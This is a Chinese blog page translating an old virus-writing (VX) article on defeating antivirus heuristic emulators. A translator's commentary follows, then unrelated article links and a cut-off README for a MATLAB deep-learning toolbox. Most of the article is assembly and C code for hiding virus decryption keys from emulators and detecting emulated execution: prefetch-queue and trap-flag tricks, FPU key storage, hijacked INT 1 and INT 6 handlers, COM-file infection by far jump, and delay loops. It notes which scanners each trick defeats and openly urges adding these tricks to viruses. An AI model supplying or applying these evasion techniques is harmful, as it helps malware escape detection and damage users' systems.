对抗启发式代码仿真检测技术分析收藏

对抗网络之目标检测应用:A-Fast-RCNN 对抗网络之目标检测应用:A-Fast-RCNN       论文:A-Fast-RCNN: Hard Positive Generation via Adversary for Object Detection 【点击下载】       Caffe代码:【Github】一. 深度学习正确的打开方式       深度学习的根基在于样本,大量的样本决定了深度网络的精确度和收敛性,针对样本的挖掘是深度学 阅读详情
作者   : nEINEI        邮箱   : neineit@gmail.com        完成于 :08-05-06                最 近在研究病毒的检测技术,虽然在这个木马、流氓件猖獗的年代,检测技术(除了考虑效率因素外)已经变得不是十分重要了。但俺仍然出于兴趣想从这里面寻找些 思路。或许对抗技术的本身并不在于谁彻底打败了谁,而在于彼此间共同进步。在查阅资料中发现了这篇文章(Anti heuristic techniques  author:Black Jack ),虽然是比较古老的,但还是可以从中获得很多新的思路。翻译的比较粗糙,如有不正确或不准确的地方还望大家指正,后面我会继续谈些对抗仿真技术的策略。 译文如下:                      简介    在早些年的日子里,杀毒软件通过对病毒的特征码搜索是完全可以检测出病毒的。但随着病毒数量的快速增涨,反病毒研究人员发明了一些启发式的病毒检测方法, 并把它应用到工作中。代码仿真的启发式扫描器会像虚拟机一样运行程序的代码,并在此环境下检测程序是否具有病毒的相似行为。       所 以在理论上,这样的启发式扫描可以发现任何一种新的病毒。但仅仅是理论上,因为代码仿真不可能达到对真实CUP的100%模拟,所以该技术并不能毫无遗漏 的检测出每一个病毒。由此可见,在VX社区中,寻找启发式引擎的缺陷和利用它们就成了我们的目标和责任。我所要谈的就是如何利用不同的手段欺骗并愚弄这些 启发式引擎,使我们最新创造的那些无形的邪恶的程序不被启发式引擎所找到及清除。     这是我认为在病毒的编程领域里最有趣的事情(因为始终是有一种伟大的感觉,那就是你比你的敌人更聪明; -) ).以下是我在过去的日子里关于这方面的研究成果。了解你的对手    如 果你想研究Anti heuristic技术,第一件事就是你需要一个具有启发式功能的扫描器来检测你编写的创作(virus),我建议你尽量多的找些这样的扫描器。因为每一 启发式的扫描器都有自己的强项及弱点。我给你一个简单的扫描器列表,我将使用这些来进行测试。    .Thunderbyte Antivirus ( http://www.thunderbyte.com) 在早期,这被认为是最好的扫描器了,但现在,在vxer的眼中它已经被认是很一般的了,至少在"启发式检测"(其实仅是特定的字符串描)方面如此。但在其 它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities...)。顺便说一下,每个人都会有自己喜欢的不同版本,我建议您使用7.xx这一版本。因为这个版本可以让您制定您自己的扫描方式, 这一点很重要,如果你自己不小心感染了自己的机器。    .F-prot ( http://www.datafellows.com) 这个是不算太坏的,虽然还有很多更好的。有趣的是,比起现在最后的一个版本在启发式方面有了更好的改进。所有我建议您使用V2.2.8版或像我一样使用 V2.2.7版来测试你的病毒。另外有趣的特点是这款扫描器,支持使用可疑扫描的命令行参数方式执行。如果您使用它,将进入一个智能的扫描模式。基于这样 的原因,你知道开启可疑检测模式并不是必需的,如果你这样做了,你会知道你的anti-heuristic 技术实在是太好用了。  .AVP ( http://www.avp.ch):在我认为最好的启发式扫描器当中,确实是难于欺骗的一个。我是用的版本是version 3.0 build 128  .NOD ( http://www.eset.sk): 像AVP一样的优秀。  .Dr. Web ( http://www.dials.ru): 这也是非常好的启发式扫描器,那些俄罗斯人知道如何取得更好的Anti Virus效果。  .Dr Solomon's ( http://www.drsolomon.com):从我一个在NAI工作的一个朋友那里知道,这是一款中高质量的扫描器,但它的效果仍优于mcafee。  .Ikarus Antivirus ( http://www.ikarus.at):一个中等品质的扫描器,我使用它,是出于爱国的原因。重要的思路    我的所有欺骗手段,都是基于同样的思路的:那就是病毒是加密的,我们要在扫描器能解密出病毒体前停止仿真代码的执行,或者在扫描过程中隐藏我们的加密密 钥。如果你仍然没有使用加密的方式,密钥隐藏手段也是可以使用的,在“加密”的调用方式中(例如,int 21h 中断的值),例如这样打开一个文件的操作,虽然我没有测试过这种方式。   mov ax, 3D02h        ;0x3D02 是密钥   add ax, key   int 21h1 通过指令预取反跟踪技术:    早期的处理器,像386或者486都使用了指令队列预期(PIQ)技术来提高代码执行效率。这一技术的本质是,当CPU将要执行一条指令时,它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我看一个这样的例子:
  mov word ptr cs:[offset piq], 20CDh
  piq:
  nop
  nop
    你应该会想到这个程序将结束运行,因为两个字节的nop 指令会被覆盖为 int 20h(译者注:int 20h
是返回DOS的指令)。但在386或486的机器上去并非如此,因为nop指令已经在cpu的cache中了。但在Pentium/Pentium
II 体系的机器中运行时,指令则会被覆盖,程序执行后退出。
  
    如果你想利用这一特性来对抗启发式检测技术的话,你就必须知道
在386/486年代这是一种广泛的对抗启发式检测的手段。但是随着AVs的改进,他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情,他
们仿真的东西竟是不存于现在的处理器当中的。让我们再看看上面的例子,这是我们用来对付他们的,在 pentium
或者更高级别的处理上面,像我所说的那样,程序会终止,因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops,因为他们要
仿真PIQ。所有这块我们这样做:
    mov word ptr [offset prefetch], 06C7h

    prefetch:

    int 20h

    dw offset decrypt_key

    dw key

    int 20h 指令将被覆盖,替换它的将是下面的指令

    mov word ptr [decrypt_key], key
    基于对PIQ的考虑,AVs将终止程序的执行。但实际上我们的程序将继续运行,在我们的加密处理函数中设置密钥。我们仅存在一个问题,那就是我们的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器,我们只需清除掉PIQ之间的两条指令。    没有什么比这更简单的了!当然,你也要知道清除所有jump类指令(jmp, call, loop,int...)之间的PIQ(这一点是必需的,如果你想这样做的话)。但是我们不能简单的处理JMP Short$+2之间的指令,对于清除PIQ来说它应该是正常被执行的,因为代码仿真器是会察觉到这一点的。    但是我们可以使用一个特殊的功能,CPU的陷阱标志。如果这个标志被置位,那么其后的任何指令执行都将触发int 1的中断调用,记住这样会清除PIQ。这通常是在的调试状态下,1号中断向量只是简单的IRET,所以我们可以使用没有任何问题。无论如何,执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上(assumesDS = CS)。
               pushf                                   ;flags on the stack

        pop ax                                  ;flags from stack into AX

        or ax, 100000000b                       ;set trap flag

        push ax                                 ;put the modified flags in AX back...

        popf                                    ;into the flag register via the stack

            

        mov word ptr [offset prefetch], 06C7h   ;modify the following instruction

        prefetch:                               ;here gets int1 called => clears PIQ

        int 20h                                 ;This is never executed

        dw offset decrypt_key                   ;where we want to write our key to

        dw key                                  ;the actual decryption key

        

        pushf                                   ;clear the trap flag again with

        pop ax                                  ;the same method as above.

        xor ax, 100000000b                      ;will also fool some debuggers

        push ax

        popf
        mov word ptr [offset prefetch], 20CDh   ;restore the int20h (next generations)    这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOIDflag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得,这并不能运行于现在的处理器上)。

2 通过FPU 的手段:
    我非常喜欢用欺骗方式,因为相对于大多数的有效手段来说,这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启发式扫描器不能仿真浮点指令。很明显,AVs考虑的是病毒程序运行是不需要FPU指令的。好了,让我们证明他们的想法是错误的。我们将要做的是,在加密完成后,通过浮点数来转换密钥,解密时再将它转换成整数。

   ; AFTER ENCRYPTION:

    mov decrypt_key, key                    ;save key into integer variable

    fild decrypt_key                        ;load integer key into FPU and store

    fstp decrypt_float_key                  ;it back as floating point number

    mov decrypt_key, 0                      ;destroy the key (very important!)

    ; BEFORE DECRYPTION:

    fld decrypt_float_key                   ;load the key as floating point number

  正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。
3 通过INT 1 的手段 :

   前文已经提到,如果CPU的陷阱标志被设置,那么任何指令执行后,int 1 中断都会被调用。 我也可以通过手工的调用的int 1
中断来达到我们的目的。int
1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后,这样反而是非常奇怪的,尽管这是未公开文
档化的。但是"not documented"的意思也应该是"not emulated by AVs", ^_^
。所有我们将这样做:我们设置一个我们自己的INT 1 中断的handler,同时调用”not doumented“ 的opcode
0F1h,返回解密密钥 。AVs 将没有办法知道解密密钥是什么。

    mov ax, 3501h                   ;get int vector 1, so we can restore it later

    int 21h                         ;not really necessary, but a little bit saver

    mov int1_segm, es

    mov int1_offs, bx

    

    mov ax, 2501h                   ;set int vector 1 to our own routine

    mov dx, offset int1_handler     ;we assume DS=CS

    int 21h

    

    db 0F1h                         ;this will call our int 1 handler, which

    mov decrypt_key, ax             ;returns the decryption key

    

    mov ax, 2501h                   ;restore the original int 1 handler

    mov dx, cs:int1_offs

    mov ds, cs:int1_segm

    int 21h

    

    [...]

    

    int1_handler:

    mov ax, key

    iret 

     另外一件好笑的事是,我们可以伪造程序退出,可以这样做:

   [...]



    db 0F1h                         ;calls our int 1 handler (see above);

    mov ax, 4c00h                   ;quit program

    int 21h                         ;but... this code is never reached... ;-)

    

    [...]

    

    int1_handler:

    mov bx, sp                      ;modify return address, so the quit command

    add word ptr ss:[bx], 5         ;is never executed.

    iret

  这是非常有效的一种手段,在我的测试中仅F-PORT  v2.27 /PARANOID
能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD
处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)
4 通过INT 6 的手段:        cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
             mov ax, 3506h                   ;get int vector 6, so we can restore it later

        int 21h                         ;not really necessary, but a little bit saver

        mov int6_segm, es

        mov int6_offs, bx

        

        mov ax, 2506h                   ;set int vector 6 to our own routine

        mov dx, offset int6_handler

        int 21h

        

        dw 0FFFFh                       ;an invalid opcode, will call our int 6

        mov decrypt_key, ax             ;handler, which returns the decryption key

        

        mov ax, 2506h                   ;restore the original int 6 handler

        mov dx, cs:int6_offs

        mov ds, cs:int6_segm

        int 21h

        

        [...]

        

        int6_handler:

        mov ax, key

        mov bx, sp

        add word ptr ss:[bx], 2         ;modify return address - very important!

                                                                        ;2 is the size of our invalid opcode.

        iret
    请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
5 感染COM文件及FAR JUMP方式:
    我不喜欢delta offsets方式,所有我开始尝试用far jump方式来感染com文件(当然,还是要加上些代码用来重定位的):
        mov ax, cs                      ;Relocate far Jump

        add [offset com_seg], ax

        JMP SHORT 2                   ;Clear prefetch queue

        db 0EAh                         ;OP-Code far Jump

        dw offset start                 ;Offset

        com_seg dw 0                    ;Segment (length of com file in paragraphs)

                                                                             ;pad filesize to even paragraph!
     这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 PR.H!- virus。
6 初始化寄存器方式:
    大多是DOS版本的系统,在程序开始时的寄存器值是下面这样的:
        AX=BX=0000h (if the first/second command line parameter contain a illegal

        drive letter, AL/AH are set to 0FFh)

        CX=00FFh

        DX=DS=ES=PSP segment address

        SI=IP

        DI=SP

        BP=91Ch/912h depending on DOS/Windows version.
7 ENDLESS LOOPS:

     这是个很古老的手段了。它不同于这篇文章中介绍的其它技术,但当我测试时才惊讶的发现,它非常的棒,可以骗过Thunderbyte, Dr. Web and Ikarus。这一想法的出发点是,那些启发式的扫描器,仅仿真了最开始处的一些指令,然后停止,以此加快扫描速度。
因此,我们可以在病毒体开始处设置一个很长的循环,下面是一经典的模式:
        mov cx, 0FFFFh

        loop_head:

        jmp short over_it

        mov ax, 4C00h                   ;actually this isn't needet, but it's the

        int 21h                         ;"classic" implementation of this trick.

        over_it:

        loop loop_head

    你还可以使用不同类型的循环,或者像Opic's Odessa-B virus那样的手法,非常长的一个解密循环。
这篇文章所公布的这些anti heuristic技术目前为止都可以正常运行。当然AVs也可能改进它们的一些不足,在未来使这些方式失效。随时欢迎把这些技巧加入到你virus当中。使它们作为AVs无法检测出的地狱,展示给那些愚蠢的AV看他们所谓的”保护“。(译完)            可以看出此篇文章的作者对AV产品中,初期的启发式技术研究的非常深入,目标明确,知晓启发式检测的很多弱点。怎奈时代变换,多态变形病毒已经产量稀少,启发式技术整体上进步缓慢。上面提及的技术虽然已经不能造成多大危害,但基于代码仿真的启发式检测仍有很多个方面会受到技术上的挑战。1 利用SEH方式:    虽然启发式的仿真器会模拟SEH异常处理,但解决这一对抗性问题却并非像实现一个SEH识别器那样简单。比如virus在解密的过程中洒下随机代码,建立异常处理,随后迫使处理器出错,进入virus的异常处理函数,进而再跳向另一个解密引擎中执行代码。如果AV不能处理这样的异常,病毒的代码也就无从执行,那么和谈检测呢。最大的问题就是仿真环境无法完美的处理某条指令引发的引发的特定异常。          2 慢随机执行方式:    可以利用任何程序开始执行时的随机数据来决定是否进行解密及感染,随机时间也好,日期也好都行,或者像win95下利用FS:[0ch]指向的TIB数据(在win9x下该处数据随机)。目的只有一个,即便被模拟运行,也无法使AV得到100%的检测率,这也是我以前曾提到过的,仿真器应该具有指令预分析的功能。  3 利用多线程:    多线程的模拟并非高不可攀,关键的难点在于线程间的同步。这一点上没什么可说,仍然是AV今后要努力解决的问题。      4 RDA 方式:    病毒体解密代码可以不知道加密时的密钥,而是通过RDA(随机解密算法)方式来获得,目的只有一个,真实环境下解密部分可以很快运行完,但仿真环境下却会很慢,暴力搜索密钥算法,可能会产生很多个大循环,以此来迫使仿真器退出执行环境。     5 EOP 方式:    仿真器不会很有耐心地执行完程序的每一条指令,只要你的病毒所在宿主程序入口点足够的靠后,那你就胜利了一半,仿真器会因失去耐心而丢下你不管的。此时我想到了ExitProcess,聪明的你肯定明白了接下来将要干什么了,当然,当你知道这样做的时候,AV已经开始行动了,但关键是我们已经找到了一种对抗的思路了。   6 分析执行逻辑方式:    这一点是从xyzreg那里学到的,考虑到程序真实的运行与仿真环境的差别,也就知道如何对抗了。指令预取反跟踪也属于这一思路的范畴。下面是xyzreg给出的代码:

DWORD fpid,epid;

void VMM()

{

   PROCESSENTRY32 pe;

   HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

   pe.dwSize=sizeof(PROCESSENTRY32);

   if (Process32First(hkz,&pe))

   {

    do

    {

       if (pe.th32ProcessID==GetCurrentProcessId())

       {

          fpid=pe.th32ParentProcessID;  

       }

      

       if (stricmp(pe.szExeFile,"explorer.exe")==0)

       {

           epid=pe.th32ProcessID;

       }

    }

    while(Process32Next(hkz,&pe));

  }

}

void main()

{

    if(fpid!=epid)

         return 0;

}
   即便是一向作风严谨AVP也会有此疏漏,且在仿真的执行环境中与正常执行相悖的逻辑还有很多处,如GetModuleFileName。所以仿真的启发式检测远没有达到十分完善的地步。        还 有一些对抗技巧如利用MMX指令或利用API传递控制等,但因这些技巧本身不会对启发式检测构成绝对威胁此处不再一一举例。启发是虽是对抗virus的利 器,但我更感觉越是复杂高级的检测技术反而越加脆弱,脆弱的原因就是太过于复杂,所谓智者千虑必有一失吧。在没有加密、多态病毒出现前,特征匹配技术对待 病毒可谓一剑封喉。或许越是简单的技术越是无懈可击。一次偶然间发现NOD可以仅用高级侦测模式,检测出被感染的文件,并精确的给出病毒名。或许启发式检 测加适量的特征应该是对抗virus的最好武器吧。
AI驱动的钓鱼攻击:从精准画像到动态仿冒的防御实战 钓鱼攻击作为社会工程学攻击的典型手段,其核心原理是通过伪造可信身份或场景诱导受害者泄露敏感信息。随着AI技术的普及,攻击者开始利用AI工具链实现攻击流程的智能化升级,显著提升了攻击的精准度和隐蔽性。从技术价值看,AI不仅能够自动化搜集目标情报、生成高度仿真的钓鱼页面,还能动态注入个性化内容,使得传统基于特征码的防御体系面临挑战。在实际应用场景中,这类攻击尤其针对企业高管、财务人员等关键岗位,通过模仿公司官网风格、高管行文习惯等手段实施精准打击。面对AI赋能的钓鱼攻击,防御方需构建“人机协同”的感知层,强化异 阅读详情

相关推荐

置顶必读(2) |《YOLOv8实战:从入门到深度优化》总目录导航 & 学习路线指南(持续更新中)

🏆 本文收录于 《YOLOv8实战:从入门到深度优化》 专栏。该专栏系统复现并梳理全网各类 YOLOv8 改进与实战案例(当前已覆盖分类 / 检测 / 分割 / 追踪 / 关键点 / OBB 检测等方向),坚持持续更新 + 深度解析,质量分长期稳定在 97 分以上,可视为当前市面上 覆盖较全、更新较快、实战导向极强 的 YOLO 改进系列内容之一。

**My Coding Family** 28万+

对抗学习用于目标检测--A-Fast-RCNN: Hard Positive Generation via Adversary for Object Detection

A-Fast-RCNN: Hard Positive Generation via Adversary for Object Detection  CVPR 2017  Caffe code : https://github.com/xiaolonw/adversarial-frcnn 本文将对抗学习引入到目标检测问题中,通过对抗网络生成一下遮挡和变形的训练样本来训练检测网络,从而使得网

slamer的专栏 1274

01|无代码开发 | 如何使用Zion实现导航网站制作

以上就是我制作导航网站的心得,分享给大家,作为一个小白想要独立搭建一个网站还是比较困难的,而在Zion不仅可以用可视化的方法进行搭建,甚至还可以一键发布,不用考虑服务器域名啥的问题,真是太方便了。

2301_76262110的博客 1390

CVPR2020 | 当目标跟踪遇上对抗攻击

论文链接:https://arxiv.org/abs/2003.09595代码链接:https://github.com/MasterBin-IIAU/CSA研究背景【目标跟踪】近年来...

我爱计算机视觉 3079

VisionMaster图像源模块的5个隐藏功能:从自动切换到二次开发接口

本文深入解析了VisionMaster图像源模块的5个隐藏功能,从基础的自动切换与字符触发过滤,到高级的脚本扩展与基于COM组件的二次开发接口。这些功能能显著提升工业视觉项目的自动化水平、灵活性与系统集成能力,帮助开发者实现更高效的离线测试流水线和外部精确控制。

rgv23456789的博客 652

【C++】C++异常语法、使用、规范、异常安全及异常的优缺点

实际中我们可以可以去继承exception类实现自己的异常类。但是实际中很多公司像上面一样自己定义一套异常继承体系。因为C++标准库设计的不够好用。如果有一个块抛出一个异常,捕获异常的方法会使用 try 和 catch 关键字。try 块中放置可能抛出异常的代码,try 块中的代码被称为保护代码。C++ 提供了一系列标准的异常,定义在 中,我们可以在程序中使用这些标准的异常。异常是一种处理错误的方式,

weixin_51692487的博客 1525

简单对抗检测2

在调试这个平台的CS过程中,我们用CE对任意一个地址下断点会导致游戏的闪退。 首先我们第一时间想到的是游戏对有关下断的API进行了HOOK,于是用PChunte工具查看后发现有110个钩子 在其中我们可以看到DbgUiRemoteBreakin这个函数被挂钩了,DbgUiRemoteBreakin这个函数内部会调用DbgBreakPoint执行断点指令,以触发断点异常,强制把程序断了下来。 我...

qq_35129925的博客 2815

Linux Component概述和高通component的使用

为了让subsystem按照一定顺序初始化设备才提出来的。subsystem中由很多设备模块,内核加载这些模块的时间不确定。子系统内有些模块是需要依赖其它模块先初始化才能进行自己初始化工作(例如v4l2 subdev和v4l2 video device),这时就要用到component框架。例如v4l2 subdev和v4l2 video device中,谁依赖谁先创建?

lz_1990的专栏 1610

对抗启发式代码仿真检测技术分析

作者   : nEINEI        邮箱   : neineit@gmail.com        完成于 :08-05-06                最近在研究病毒的检测技术,虽然在这个木马、流氓件猖獗的年代,检测技术(除了考虑效率因素外)已经变得不是十分重要了。但俺仍然出于兴趣想从这里面寻找些思路。或许对抗技术的本身并不在于谁彻底打败了谁,而在于彼此间共同进步。在查阅资料中发现了这

1199

2025 提高电力交易价格预测的疾风大模型方法综述

电力现货市场价格预测正转向大模型驱动的新范式。传统方法在极端波动、政策突变等场景下表现不佳,而Transformer、预训练时序模型(如Chronos-Bolt)和LLM混合框架展现出显著优势。关键技术包括多模态数据融合、两段式预训练微调、MoE架构和LLM-RAG增强解释性。案例显示,澳大利亚NSW市场误差降低43%,但混合模型路由仍必要。未来趋势涵盖数字孪生电网和多智能体竞价,需平衡模型创新与行业合规要求。大模型通过跨域学习与业务耦合提升预测,但需持续优化数据隐私、算力消耗和极端事件应对能力。

专注AI大模型,软件混淆,授权 1055

为YOLOv11引入自适应特征融合模块(ASFF)

本文探讨了在YOLOv11中引入ASFF(自适应空间特征融合)模块以解决多尺度目标检测性能不均衡的问题。作者分析了传统FPN固定融合策略的缺陷,详细介绍了ASFF模块的实现原理,包括动态权重生成网络设计和特征融合机制。通过将ASFF集成到YOLOv11颈部网络,实现了特征在双向流动时的自适应融合,在复杂场景下mAP提升1.2%而推理时间仅增加3-5ms。文章还分享了训练调参技巧和部署注意事项,指出ASFF特别适合交通监控等目标尺度变化大的场景,但强调需根据实际需求平衡模型复杂度与性能。最后提供了工程实践建议

as1225120794的博客 322

恶意代码技术及恶意代码检测技术原理与实现,从零基础到精通,收藏这篇就够了!_恶意代码开发

恶意代码(MALWARE)检测技术目前主流的有以下几种:特征码扫描技术、基于签名的扫描技术、启发式扫描技术、沙盒模拟技术、导入表分析技术、以及云查杀技术。恶意代码检测大体分为静态分析和动态分析。静态分析中最为经典的就是,特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。

bdfcfff77fa的博客 1407

092、多sensor帧同步在环视系统中的实现——基于瑞芯微RK3588的PPS同步与曝光同步方案

摘要: 本文探讨了瑞芯微RK3588平台在360环视系统中实现多摄像头帧同步的技术方案。针对环视拼接常见的动态场景错位问题,提出了PPS同步与曝光同步相结合的解决方案。通过GPIO硬件触发实现四路摄像头同步曝光,配合I2C全局曝光控制,将时间误差控制在0.5ms内。文章详细解析了RK3588设备树配置、内核驱动实现中的关键细节,包括同步信号处理、寄存器原子写入等核心技术点,并分享了量产中遇到的温度漂移、信号完整性等实际问题及解决方法。最终通过硬件整形和电源优化,将同步抖动控制在±5μs以内,有效解决了动态拼

zzfmlxs的博客 34

恶意代码技术及恶意代码检测技术原理与实现,从零基础到精通,收藏这篇就够了!

恶意代码(MALWARE)检测技术目前主流的有以下几种:特征码扫描技术、基于签名的扫描技术、启发式扫描技术、沙盒模拟技术、导入表分析技术、以及云查杀技术。恶意代码检测大体分为静态分析和动态分析。静态分析中最为经典的就是,特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。

yy1715713348的博客 1218

Android 蓝牙——概述(一)

Profiles (蓝牙应用规范),它从应用场景的角度为蓝牙技术的使用制定了不同的规范。这也是和大众日常生活接触最多的一部分。蓝牙支持很多Profiles:MAP:(MessageAccessProfile),短信访问协议,允许设备间的信息交换,短信。使用场景:智能车载中同步短信等信息。HFP:(Hands-free Profile),电话免提协议,让蓝牙设备(如蓝牙耳机/车机)可以控制电话,如接听、挂断、拒接等。

小旭的专栏 3493

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 